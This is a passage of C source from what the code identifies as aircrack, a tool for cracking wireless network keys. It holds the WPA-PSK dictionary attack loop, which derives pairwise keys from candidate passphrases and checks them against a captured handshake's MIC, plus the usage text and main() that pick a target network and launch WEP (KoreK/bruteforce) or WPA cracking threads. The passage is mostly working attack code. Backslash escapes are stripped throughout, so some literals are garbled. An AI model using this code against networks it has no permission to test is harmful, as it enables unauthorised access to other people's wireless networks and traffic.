  1571.             perror( "write essid failed" );
  1572.             kill( 0, SIGTERM );
  1573.             _exit( FAILURE );
  1574.         }
  1575.     }
  1576.     /* pre-compute the key expansion buffer */
  1577.     memcpy( pke, "Pairwise key expansion", 23 );
  1578.     if( memcmp( ap->wpa.stmac, ap->bssid, 6 ) < 0 )
  1579.     {
  1580.         memcpy( pke + 23, ap->wpa.stmac, 6 );
  1581.         memcpy( pke + 29, ap->bssid, 6 );
  1582.     }
  1583.     else
  1584.     {
  1585.         memcpy( pke + 23, ap->bssid, 6 );
  1586.         memcpy( pke + 29, ap->wpa.stmac, 6 );
  1587.     }
  1588.     if( memcmp( ap->wpa.snonce, ap->wpa.anonce, 32 ) < 0 )
  1589.     {
  1590.         memcpy( pke + 35, ap->wpa.snonce, 32 );
  1591.         memcpy( pke + 67, ap->wpa.anonce, 32 );
  1592.     }
  1593.     else
  1594.     {
  1595.         memcpy( pke + 35, ap->wpa.anonce, 32 );
  1596.         memcpy( pke + 67, ap->wpa.snonce, 32 );
  1597.     }
  1598.     memset( key1, 0, sizeof( key1 ) );
  1599.     memset( key2, 0, sizeof( key1 ) );
  1600.     if( ! opt.is_quiet )
  1601.     {
  1602.         if( opt.l33t )
  1603.             printf( "33[37;40m" );
  1604.         printf( "33[2J" );
  1605.         if( opt.l33t )
  1606.             printf( "33[34;1m" );
  1607.         printf( "33[2;34Haircrack %d.%d",
  1608.                 _MAJ, _MIN );
  1609.     }
  1610.     while( 1 )
  1611.     {
  1612.         for( cid = 0; cid < opt.nbcpu; cid++ )
  1613.         {
  1614.             /* read a couple of keys (skip those < 8 chars) */
  1615.             do
  1616.             {
  1617.                 if( fgets( key1, sizeof( key1 ), opt.dict ) == NULL )
  1618.                 {
  1619.                     if( opt.l33t )
  1620.                         printf( "33[32;22m" );
  1621.                     printf( "nEOFn" );
  1622.                     return( FAILURE );
  1623.                 }
  1624.                 i = strlen( key1 );
  1625.                 if( key1[i - 1] == 'n' ) key1[--i] = '';
  1626.                 if( key1[i - 1] == 'r' ) key1[--i] = '';
  1627.             }
  1628.             while( i < 8 );
  1629.             do
  1630.             {
  1631.                 if( fgets( key2, sizeof( key2 ), opt.dict ) == NULL )
  1632.                     break;
  1633.                 i = strlen( key2 );
  1634.                 if( key2[i - 1] == 'n' ) key2[--i] = '';
  1635.                 if( key2[i - 1] == 'r' ) key2[--i] = '';
  1636.             }
  1637.             while( i < 8 );
  1638.             /* send the keys */
  1639.             if( safe_write( mc_pipe[cid][1], (void *) key1, 128 ) != 128 ||
  1640.                 safe_write( mc_pipe[cid][1], (void *) key2, 128 ) != 128 )
  1641.             {
  1642.                 perror( "write passphrase failed" );
  1643.                 return( FAILURE );
  1644.             }
  1645.         }
  1646.         for( cid = 0; cid < opt.nbcpu; cid++ )
  1647.         {
  1648.             /* collect and test the master keys */
  1649.             if( safe_read( cm_pipe[cid][0], (void *) key1, 128 ) != 128 ||
  1650.                 safe_read( cm_pipe[cid][0], (void *) key2, 128 ) != 128 ||
  1651.                 safe_read( cm_pipe[cid][0], (void *) pmk1,  32 ) !=  32 ||
  1652.                 safe_read( cm_pipe[cid][0], (void *) pmk2,  32 ) !=  32 )
  1653.             {
  1654.                 perror( "read pmk failed" );
  1655.                 return( FAILURE );
  1656.             }
  1657.             /* compute the pairwise transient key and the frame MIC */
  1658.             for( i = 0; i < 4; i++ )
  1659.             {
  1660.                 pke[99] = i;
  1661.                 hmac_sha1( pmk1, 32, pke, 100, ptk1 + i * 20 );
  1662.                 hmac_sha1( pmk2, 32, pke, 100, ptk2 + i * 20 );
  1663.             }
  1664.             if( ap->wpa.keyver == 1 )
  1665.             {
  1666.                 hmac_md5( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
  1667.                 hmac_md5( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
  1668.             }
  1669.             else
  1670.             {
  1671.                 hmac_sha1( ptk1, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic1 );
  1672.                 hmac_sha1( ptk2, 16, ap->wpa.eapol, ap->wpa.eapol_size, mic2 );
  1673.             }
  1674.             if( memcmp( mic1, ap->wpa.keymic, 16 ) == 0 )
  1675.             {
  1676.                 memcpy( key2, key1, 128 );
  1677.                 memcpy( pmk2, pmk1,  32 );
  1678.                 memcpy( ptk2, ptk1,  64 );
  1679.                 memcpy( mic2, mic1,  16 );
  1680.             }
  1681.             if( memcmp( mic2, ap->wpa.keymic, 16 ) == 0 )
  1682.             {
  1683.                 if( opt.is_quiet )
  1684.                 {
  1685.                     printf( "KEY FOUND! [ %s ]n", key2 );
  1686.                     return( SUCCESS );
  1687.                 }
  1688.                 show_wpa_stats( key2, pmk2, ptk2, mic2, 1 );
  1689.                 if( opt.l33t )
  1690.                     printf( "33[31;1m" );
  1691.                 printf( "33[8;%dH33[2KKEY FOUND! [ %s ]33[11Bn",
  1692.                         ( 80 - 15 - (int) strlen( key2 ) ) / 2, key2 );
  1693.                 if( opt.l33t )
  1694.                     printf( "33[32;22m" );
  1695.                 return( SUCCESS );
  1696.             }
  1697.             nb_tried += 2;
  1698.             nb_kprev += 2;
  1699.             if( ! opt.is_quiet )
  1700.                 show_wpa_stats( key1, pmk1, ptk1, mic1, 0 );
  1701.         }
  1702.     }
  1703.     return( FAILURE );
  1704. }
  1705. int intr_read = 0;
  1706. void sighandler( int signum )
  1707. {
  1708.     signal( signum, sighandler );
  1709.     if( signum == SIGQUIT )
  1710.         _exit( SUCCESS );
  1711.     if( signum == SIGTERM )
  1712.         _exit( FAILURE );
  1713.     if( signum == SIGINT )
  1714.         intr_read++;
  1715.     if( signum == SIGWINCH )
  1716.         printf( "33[2Jn" );
  1717. }
  1718. char usage[] =
  1719. "n"
  1720. "  Common options:n"
  1721. "n"
  1722. "      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)n"
  1723. "      -e <essid> : target selection: network identifiern"
  1724. "      -b <bssid> : target selection: access point's MACn"
  1725. "      -p <nbcpu> : SMP support: # of processes to startn"
  1726. "      -q         : enable quiet mode (no status output)n"
  1727. "      -w <words> : path to a dictionary filen"
  1728. "n"
  1729. "  Static WEP cracking options:n"
  1730. "n"
  1731. "      -c         : search alpha-numeric characters onlyn"
  1732. "      -t         : search binary coded decimal chr onlyn"
  1733. "      -d <start> : debug - specify beginning of the keyn"
  1734. "      -m <maddr> : MAC address to filter usable packetsn"
  1735. "      -n <nbits> : WEP key length: 64 / 128 / 152 / 256n"
  1736. "      -i <index> : WEP key index (1 to 4), default: anyn"
  1737. "      -f <fudge> : bruteforce fudge factor,  default: 2n"
  1738. "      -k <korek> : disable one attack method  (1 to 17)n"
  1739. "      -x         : do bruteforce the  last two keybytesn"
  1740. "      -y         : experimental  single bruteforce moden"
  1741. "n"
  1742. "  aircrack %d.%d - (C) 2004,2005 Christophe Devinen"
  1743. "n"
  1744. "  usage: aircrack [options] <.cap / .ivs file(s)>n"
  1745. "n";
  1746. int main( int argc, char *argv[] )
  1747. {
  1748.     int i, n, ret;
  1749.     char *s, buf[128];
  1750.     struct AP_info *ap_cur;
  1751.     ret = FAILURE;
  1752.     /* check the arguments */
  1753.     if( argc < 2 )
  1754.     {
  1755.     usage:
  1756.         printf( usage, _MAJ, _MIN );
  1757.         return( ret );
  1758.     }
  1759.     memset( &opt, 0, sizeof( opt ) );
  1760.     opt.nbcpu = 1;
  1761.     while( 1 )
  1762.     {
  1763.         int option = getopt( argc, argv, "a:e:b:p:qctd:m:n:i:f:k:xyw:0" );
  1764.         if( option < 0 ) break;
  1765.         switch( option )
  1766.         {
  1767.             case 'a' :
  1768.                 sscanf( optarg, "%d", &opt.amode );
  1769.                 if( opt.amode != 1 && opt.amode != 2 )
  1770.                 {
  1771.                     printf( "Invalid attack mode.n" );
  1772.                     return( FAILURE );
  1773.                 }
  1774.                 break;
  1775.             case 'e' :
  1776.                 memset(  opt.essid, 0, sizeof( opt.essid ) );
  1777.                 strncpy( opt.essid, optarg, sizeof( opt.essid ) - 1 );
  1778.                 opt.essid_set = 1;
  1779.                 break;
  1780.             case 'b' :
  1781.                 i = 0;
  1782.                 s = optarg;
  1783.                 while( sscanf( s, "%x", &n ) == 1 )
  1784.                 {
  1785.                     if( n < 0 || n > 255 )
  1786.                     {
  1787.                         printf( "Invalid BSSID (not a MAC).n" );
  1788.                         return( FAILURE );
  1789.                     }
  1790.                     opt.bssid[i] = n;
  1791.                     if( ++i > 6 ) break;
  1792.                     if( ! ( s = strchr( s, ':' ) ) )
  1793.                         break;
  1794.                     s++;
  1795.                 }
  1796.                 if( i != 6 )
  1797.                 {
  1798.                     printf( "Invalid BSSID (not a MAC).n" );
  1799.                     return( FAILURE );
  1800.                 }
  1801.                 opt.bssid_set = 1;
  1802.                 break;
  1803.             case 'p' :
  1804.                 if( sscanf( optarg, "%d", &opt.nbcpu ) != 1 ||
  1805.                     opt.nbcpu < 1 || opt.nbcpu > 256 )
  1806.                 {
  1807.                     printf( "Invalid number of processes.n" );
  1808.                     return( FAILURE );
  1809.                 }
  1810.                 break;
  1811.             case 'q' :
  1812.                 opt.is_quiet = 1;
  1813.                 break;
  1814.             case 'c' :
  1815.                 opt.is_alnum = 1;
  1816.                 break;
  1817.             case 't' :
  1818.                 opt.is_bcdonly = 1;
  1819.                 break;
  1820.             case 'd' :
  1821.                 i = 1;
  1822.                 s = optarg;
  1823.                 buf[0] = s[0];
  1824.                 buf[1] = s[1];
  1825.                 buf[2] = '';
  1826.                 while( sscanf( buf, "%x", &n ) == 1 )
  1827.                 {
  1828.                     if( n < 0 || n > 255 )
  1829.                     {
  1830.                         printf( "Invalid debug key.n" );
  1831.                         return( FAILURE );
  1832.                     }
  1833.                     opt.debug[i++] = n;
  1834.                     if( i >= 62 ) break;
  1835.                     s += 2;
  1836.                     if( s[0] == ':' || s[0] == '-' )
  1837.                         s++;
  1838.                     if( s[0] == '' || s[1] == '' )
  1839.                         break;
  1840.                     
  1841.                     buf[0] = s[0];
  1842.                     buf[1] = s[1];
  1843.                 }
  1844.                 if( i == 0 )
  1845.                 {
  1846.                     printf( "Invalid debug key.n" );
  1847.                     return( FAILURE );
  1848.                 }
  1849.                 opt.debug[0] = i - 1;
  1850.                 break;
  1851.             case 'm' :
  1852.                 i = 0;
  1853.                 s = optarg;
  1854.                 while( sscanf( s, "%x", &n ) == 1 )
  1855.                 {
  1856.                     if( n < 0 || n > 255 )
  1857.                     {
  1858.                         printf( "Invalid MAC address filter.n" );
  1859.                         return( FAILURE );
  1860.                     }
  1861.                     opt.maddr[i] = n;
  1862.                     if( ++i > 6 ) break;
  1863.                     if( ! ( s = strchr( s, ':' ) ) )
  1864.                         break;
  1865.                     s++;
  1866.                 }
  1867.                 if( i != 6 )
  1868.                 {
  1869.                     printf( "Invalid MAC address filter.n" );
  1870.                     return( FAILURE );
  1871.                 }
  1872.                 break;
  1873.             case 'n' :
  1874.                 if( sscanf( optarg, "%d", &opt.keylen ) != 1 ||
  1875.                     ( opt.keylen !=  64 && opt.keylen != 128 &&
  1876.                       opt.keylen != 152 && opt.keylen != 256 &&
  1877.                       opt.keylen != 512 ) )
  1878.                 {
  1879.                     printf( "Invalid WEP key length.n" );
  1880.                     return( FAILURE );
  1881.                 }
  1882.                 opt.keylen = ( opt.keylen / 8 ) - 3;
  1883.                 break;
  1884.             case 'i' :
  1885.                 if( sscanf( optarg, "%d", &opt.index ) != 1 ||
  1886.                     opt.index < 1 || opt.index > 4 )
  1887.                 {
  1888.                     printf( "Invalid WEP key index.n" );
  1889.                     return( FAILURE );
  1890.                 }
  1891.                 break;
  1892.             case 'f' :
  1893.                 if( sscanf( optarg, "%f", &opt.ffact ) != 1 ||
  1894.                     opt.ffact < 1 || opt.ffact > 32 )
  1895.                 {
  1896.                     printf( "Invalid fudge factor.n" );
  1897.                     return( FAILURE );
  1898.                 }
  1899.                 break;
  1900.             case 'k' :
  1901.                 if( sscanf( optarg, "%d", &opt.korek ) != 1 ||
  1902.                     opt.korek < 0 || opt.korek > N_ATTACKS )
  1903.                 {
  1904.                     printf( "Invalid KoreK attack strategy.n" );
  1905.                     return( FAILURE );
  1906.                 }
  1907.                 K_COEFF[opt.korek] = 0;
  1908.                 break;
  1909.             case 'x' :
  1910.                 opt.do_brute = 1;
  1911.                 break;
  1912.             case 'y' :
  1913.                 opt.do_testy = 1;
  1914.                 break;
  1915.             case 'w' :
  1916.                 if( strcmp( optarg, "-" ) == 0 )
  1917.                 {
  1918.                     if( ( opt.dict = fdopen( 0, "r" ) ) == NULL )
  1919.                     {
  1920.                         perror( "fopen(dictionary) failed" );
  1921.                         return( FAILURE );
  1922.                     }
  1923.                     opt.no_stdin = 1;
  1924.                 }
  1925.                 else
  1926.                 {
  1927.                     if( ( opt.dict = fopen( optarg, "r" ) ) == NULL )
  1928.                     {
  1929.                         perror( "fopen(dictionary) failed" );
  1930.                         return( FAILURE );
  1931.                     }
  1932.                 }
  1933.                 break;
  1934.             case '0' :
  1935.                 opt.l33t = 1;
  1936.                 break;
  1937.             default : goto usage;
  1938.         }
  1939.     }
  1940.     if( ! ( argc - optind ) )
  1941.         goto usage;
  1942.     /* start one thread per input file */
  1943.     signal( SIGINT,  sighandler );
  1944.     signal( SIGQUIT, sighandler );
  1945.     signal( SIGTERM, sighandler );
  1946.     signal( SIGALRM, SIG_IGN );
  1947.     pthread_mutex_init( &mx_apl, NULL );
  1948.     pthread_mutex_init( &mx_eof, NULL );
  1949.     pthread_cond_init(  &cv_eof, NULL );
  1950.     ap_1st = NULL;
  1951.     n = argc - optind;
  1952.     do
  1953.     {
  1954.         pthread_t tid;
  1955.         if( strcmp( argv[optind], "-" ) == 0 )
  1956.             opt.no_stdin = 1;
  1957.         if( pthread_create( &tid, NULL, (void *) read_thread,
  1958.                             (void *) argv[optind] ) != 0 )
  1959.         {
  1960.             perror( "pthread_create failed" );
  1961.             goto exit_main;
  1962.         }
  1963.         usleep( 131071 );
  1964.     }
  1965.     while( ++optind < argc );
  1966.     /* wait until each thread reaches EOF */
  1967.     pthread_mutex_lock( &mx_eof );
  1968.     if( ! opt.is_quiet )
  1969.     {
  1970.         printf( "Reading packets, please wait...r" );
  1971.         fflush( stdout );
  1972.     }
  1973.     while( nb_eof < n && ! intr_read )
  1974.         pthread_cond_wait( &cv_eof, &mx_eof );
  1975.     pthread_mutex_unlock( &mx_eof );
  1976.     if( ! opt.is_quiet && ! opt.no_stdin )
  1977.         printf( "33[KRead %ld packets.nn", nb_pkt );
  1978.     signal( SIGINT, SIG_DFL );
  1979.     if( ap_1st == NULL )
  1980.     {
  1981.         printf( "No networks found, exiting.n" );
  1982.         goto exit_main;
  1983.     }
  1984.     if( ! opt.essid_set && ! opt.bssid_set )
  1985.     {
  1986.         /* ask the user which network is to be cracked */
  1987.         if( opt.is_quiet || opt.no_stdin )
  1988.         {
  1989.             printf( "Please specify an ESSID or BSSID.n" );
  1990.             goto exit_main;
  1991.         }
  1992.         printf( "   #  BSSID%14sESSID%21sEncryptionnn", "", "" );
  1993.         i = 1;
  1994.         ap_cur = ap_1st;
  1995.         while( ap_cur != NULL )
  1996.         {
  1997.             printf( "%4d  %02X:%02X:%02X:%02X:%02X:%02X  %-24s  ",
  1998.                     i, ap_cur->bssid[0], ap_cur->bssid[1],
  1999.                        ap_cur->bssid[2], ap_cur->bssid[3],
  2000.                        ap_cur->bssid[4], ap_cur->bssid[5],
  2001.                     ap_cur->essid );
  2002.             if( ap_cur->eapol )
  2003.                 printf( "EAPOL+" );
  2004.             switch( ap_cur->crypt )
  2005.             {
  2006.                 case  0: printf( "None (%d.%d.%d.%d)n",
  2007.                                  ap_cur->lanip[0], ap_cur->lanip[1],
  2008.                                  ap_cur->lanip[2], ap_cur->lanip[3] );
  2009.                          break;
  2010.                 case  1: printf( "No data - WEP or WPAn" );
  2011.                          break;
  2012.                 case  2: printf( "WEP (%ld IVs)n",
  2013.                                  ap_cur->nb_ivs ); 
  2014.                          break;
  2015.                 case  3: printf( "WPA (%d handshake)n",
  2016.                                  ap_cur->wpa.state == 15 );
  2017.                          break;
  2018.                 default: printf( "Unknownn" );
  2019.                          break;
  2020.             }
  2021.             i++; ap_cur = ap_cur->next;
  2022.         }
  2023.         printf( "n" );
  2024.         if( ap_1st->next != NULL )
  2025.         {
  2026.             do
  2027.             {
  2028.                 printf( "Index number of target network ? " );
  2029.                 fflush( stdout );
  2030.                 scanf( "%127s", buf );
  2031.                 if( ( n = atoi( buf ) ) < 1 )
  2032.                     continue;
  2033.                 i = 1; ap_cur = ap_1st;
  2034.                 while( ap_cur != NULL && i < n )
  2035.                     { i++; ap_cur = ap_cur->next; }
  2036.             }
  2037.             while( n < 0 || ap_cur == NULL );
  2038.         }
  2039.         else
  2040.         {
  2041.             printf( "Choosing first network as target.n" );
  2042.             sleep( 2 );
  2043.             ap_cur = ap_1st;
  2044.         }
  2045.         printf( "n" );
  2046.         memcpy( opt.bssid, ap_cur->bssid,  6 );
  2047.         opt.bssid_set = 1;
  2048.     }
  2049.     /* mark the targeted access point(s) */
  2050.     ap_cur = ap_1st;
  2051.     while( ap_cur != NULL )
  2052.     {
  2053.         if( memcmp( opt.maddr, BROADCAST, 6 ) == 0 ||
  2054.             ( opt.bssid_set && ! memcmp( opt.bssid, ap_cur->bssid, 6 ) ) ||
  2055.             ( opt.essid_set && ! strcmp( opt.essid, ap_cur->essid    ) ) )
  2056.             ap_cur->target = 1;
  2057.         ap_cur = ap_cur->next;
  2058.     }
  2059.     ap_cur = ap_1st;
  2060.     while( ap_cur != NULL )
  2061.     {
  2062.         if( ap_cur->target )
  2063.             break;
  2064.         ap_cur = ap_cur->next;
  2065.     }
  2066.     if( ap_cur == NULL )
  2067.     {
  2068.         printf( "No matching network found - check your %s.n",
  2069.                 ( opt.essid_set ) ? "essid" : "bssid" );
  2070.         goto exit_main;
  2071.     }
  2072.     if( ap_cur->crypt < 2 )
  2073.     {
  2074.         switch( ap_cur->crypt )
  2075.         {
  2076.             case  0:
  2077.                 printf( "Target network doesn't seem encrypted.n" );
  2078.                 break;
  2079.             default:
  2080.                 printf( "Got no data packets from target network!n" );
  2081.                 break;
  2082.         }
  2083.         goto exit_main;
  2084.     }
  2085.     /* create the cracker<->master communication pipes */
  2086.     for( i = 0; i < opt.nbcpu; i++ )
  2087.     {
  2088.         pipe( mc_pipe[i] );
  2089.         pipe( cm_pipe[i] );
  2090.     }
  2091.     /* launch the attack */
  2092.     nb_tried = 0;
  2093.     nb_kprev = 0;
  2094.     chrono( &t_begin, 1 );
  2095.     chrono( &t_stats, 1 );
  2096.     chrono( &t_kprev, 1 );
  2097.     signal( SIGWINCH, sighandler );
  2098.     if( opt.amode == 1 )
  2099.         goto crack_wep;
  2100.     if( opt.amode == 2 )
  2101.         goto crack_wpa;
  2102.     if( ap_cur->crypt == 2 )
  2103.     {
  2104.     crack_wep:
  2105.         if( opt.keylen == 0 )
  2106.             opt.keylen = 13;
  2107.         if( opt.ffact == 0 )
  2108.         {
  2109.             if( ! opt.do_testy )
  2110.             {
  2111.                 if( opt.keylen == 5 )
  2112.                     opt.ffact = 5;
  2113.                 else
  2114.                     opt.ffact = 2;
  2115.             }
  2116.             else
  2117.                 opt.ffact = 30;
  2118.         }
  2119.         memset( &wep, 0, sizeof( wep ) );
  2120.         for( i = 0; i < opt.nbcpu; i++ )
  2121.         {
  2122.             /* start one thread per cpu */
  2123.             pthread_t tid;
  2124.             if( pthread_create( &tid, NULL, (void *) crack_wep_thread,
  2125.                                 (void *) (long) i ) != 0 )
  2126.             {
  2127.                 perror( "pthread_create failed" );
  2128.                 goto exit_main;
  2129.             }
  2130.         }
  2131.         if( ! opt.do_testy )
  2132.         {
  2133.             do   { ret = do_wep_crack1( 0 ); }
  2134.             while( ret == RESTART );
  2135.             if( ret == FAILURE )
  2136.                 printf( "   Attack failed. Possible reasons:nn"
  2137. "     * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
  2138. "       can be cracked with about one million IVs, sometimes more.nn"
  2139. "     * If all votes seem equal, or if there are many negative votes,n"
  2140. "       then the capture file is corrupted, or the key is not static.nn"
  2141. "     * A false positive prevented the key from being found.  Try ton"
  2142. "       disable each korek attack (-k 1 .. 17), raise the fudge factorn"
  2143. "       (-f) and try the experimental bruteforce attacks (-x / -y).n" );
  2144.         }
  2145.         else
  2146.         {
  2147.             for( i = opt.keylen - 3; i < opt.keylen - 2; i++ )
  2148.             {
  2149.                 do   { ret = do_wep_crack2( i ); }
  2150.                 while( ret == RESTART );
  2151.                 if( ret == SUCCESS )
  2152.                     break;
  2153.             }
  2154.             if( ret == FAILURE )
  2155.                 printf( "   Attack failed. Possible reasons:nn"
  2156. "     * Out of luck: you must capture more IVs. Usually, 104-bit WEPn"
  2157. "       can be cracked with about one million IVs, sometimes more.nn"
  2158. "     * If all votes seem equal, or if there are many negative votes,n"
  2159. "       then the capture file is corrupted, or the key is not static.nn"
  2160. "     * A false positive prevented the key from being found.  Try ton"
  2161. "       disable each korek attack (-k 1 .. 17), raise the fudge factorn"
  2162. "       (-f) or try the standard attack mode instead (no -y option).n" );
  2163.         }
  2164.     }
  2165.     if( ap_cur->crypt == 3 )
  2166.     {
  2167.     crack_wpa:
  2168.         if( opt.dict == NULL )
  2169.         {
  2170.             printf( "Please specify a dictionary (option -w).n" );
  2171.             goto exit_main;
  2172.         }
  2173.         ap_cur = ap_1st;
  2174.         while( ap_cur != NULL )
  2175.         {
  2176.             if( ap_cur->target && ap_cur->wpa.state == 15 )
  2177.                 break;
  2178.             ap_cur = ap_cur->next;
  2179.         }
  2180.         if( ap_cur == NULL )
  2181.         {
  2182.             printf( "No valid WPA handshakes found.n" );
  2183.             goto exit_main;
  2184.         }
  2185.         if( memcmp( ap_cur->essid, ZERO, 32 ) == 0 && ! opt.essid_set )
  2186.         {
  2187.             printf( "An ESSID is required. Try option -e.n" );
  2188.             goto exit_main;
  2189.         }
  2190.         if( opt.essid_set && ap_cur->essid[0] == '' )
  2191.         {
  2192.             memset(  ap_cur->essid, 0, sizeof( ap_cur->essid ) );
  2193.             strncpy( ap_cur->essid, opt.essid, sizeof( ap_cur->essid ) - 1 );
  2194.         }
  2195.         for( i = 0; i < opt.nbcpu; i++ )
  2196.         {
  2197.             /* start one thread per cpu */
  2198.             pthread_t tid;
  2199.             if( pthread_create( &tid, NULL, (void *) crack_wpa_thread,
  2200.                                 (void *) (long) i ) != 0 )
  2201.             {
  2202.                 perror( "pthread_create failed" );
  2203.                 goto exit_main;
  2204.             }
  2205.         }
  2206.         ret = do_wpa_crack( ap_cur );
  2207.     }
  2208. exit_main:
  2209.     if( ! opt.is_quiet )
  2210.         printf( "n" );
  2211.     fflush( stdout );
  2212.     if( ret == SUCCESS ) kill( 0, SIGQUIT );
  2213.     if( ret == FAILURE ) kill( 0, SIGTERM );
  2214.     _exit( ret );
  2215. }